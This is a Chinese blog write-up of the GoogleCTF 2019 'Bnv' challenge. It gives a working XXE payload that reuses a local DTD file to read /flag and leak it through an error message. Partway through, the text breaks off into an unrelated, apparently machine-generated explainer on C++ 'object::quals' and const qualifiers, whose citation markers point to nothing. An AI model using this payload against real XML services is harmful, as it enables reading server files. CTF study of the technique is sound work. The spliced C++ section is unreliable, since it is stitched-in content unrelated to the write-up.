[GoogleCTF2019 Quals]Bnv(本地DTD文件与XXE学习)

这篇博客探讨了如何通过XML External Entity (XXE) 漏洞来尝试访问和利用本地DTD文件。作者列举了不同操作系统和特定软件中可能存在的DTD文件路径,并详细介绍了构造XXE payload的步骤,旨在揭示系统敏感信息或获取权限。

在这里插入图片描述
首先看到的就是最上面的那个盲文,不知道啥意思

然后扫了下敏感目录也没什么发现,只注意到这里的 json数据

有 json的地方就有可能有 XXE

试了下就最基本的XXE方法和远程的XXE无回显注入,都不行,看了题解知道的这个方法

---------------利用XXE与本地DTD文件----------------

<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
	<!ENTITY &#x25; file SYSTEM "file:///flag">
	<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
	&#x25;eval;
	&#x25;error;
'>
%local_dtd;
]
### 关于 `object::quals` 的含义用法 在 C++ 中,语法结构 `object::quals` 并不是一个标准术语或关键字,但它可能涉及两个主要概念:作用域解析运算符 (`::`) 和限定符 (qualifiers)。 #### 1. **作用域解析运算符 (::)** C++ 使用双冒号 (`::`) 来表示作用域解析操作。它用于访问命名空间中的成员、类内的静态成员函数或变量以及嵌套类的定义[^1]。例如: ```cpp namespace MyNamespace { int value = 42; } int main() { std::cout << MyNamespace::value; // 输出 42 } ``` 上述代码展示了如何通过作用域解析运算符访问命名空间中的变量。 --- #### 2. **限定符 (Qualifiers)** 限定符通常指修饰类型的关键词,比如 `const` 或 `volatile`。当提到 `object::quals` 时,可能是描述对象上的某种限定行为。以下是几种常见场景及其解释: ##### a. 常量限定符 (`const`) 如果某个方法被声明为 `const` 方法,则该方法无法修改其所属的对象状态。这可以通过作用域解析来调用: ```cpp class MyClass { public: void display() const { std::cout << "Constant method"; } }; int main() { MyClass obj; obj.display(); // 调用了常量限定的方法 } ``` 此处,`display()` 是一个带有 `const` 限定符的方法,表明此方法不会改变对象的状态[^2]。 ##### b. 指针限定符 (`const`/`volatile`) 对于指向对象的指针,可以对其应用不同的限定符组合。例如: ```cpp struct Point { int x, y; }; void example(const Point& p) { // 不允许修改传入的对象 // p.x = 10; // 编译错误 } ``` 这里传递给函数的是一个带 `const` 限定符的引用参数,因此不允许对其进行任何更改[^3]。 --- #### 3. 组合理解 `object::quals` 综合来看,“`object::quals`” 可能是指定某特定对象的作用域并附加某些限定条件的操作方式。实际开发中,这种表达形式更多见于讨论而非具体实现细节。下面是一个假设的例子展示两者结合的情况: ```cpp class DatabaseConnection { private: static const char* connection_string; public: static const char* getConnectionString(); }; // 定义静态成员 const char* DatabaseConnection::connection_string = "localhost"; const char* DatabaseConnection::getConnectionString() { return connection_string; } int main() { std::cout << DatabaseConnection::getConnectionString(); // 访问静态成员并通过限定符保护数据 } ``` 在此案例里,`DatabaseConnection::connection_string` 表明这是一个属于类范围内的静态字符串,并且由于加了 `const` 限定符而不可变[^4]。 --- ### 总结 虽然严格意义上不存在名为 `object::quals` 的固定语法规则,但从上下文中推测,这一表述很可能用来概括关于对象范围内属性或者方法所附带的各种限定特性(如只读性)。这些特性的设定有助于增强程序的安全性和逻辑清晰度。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值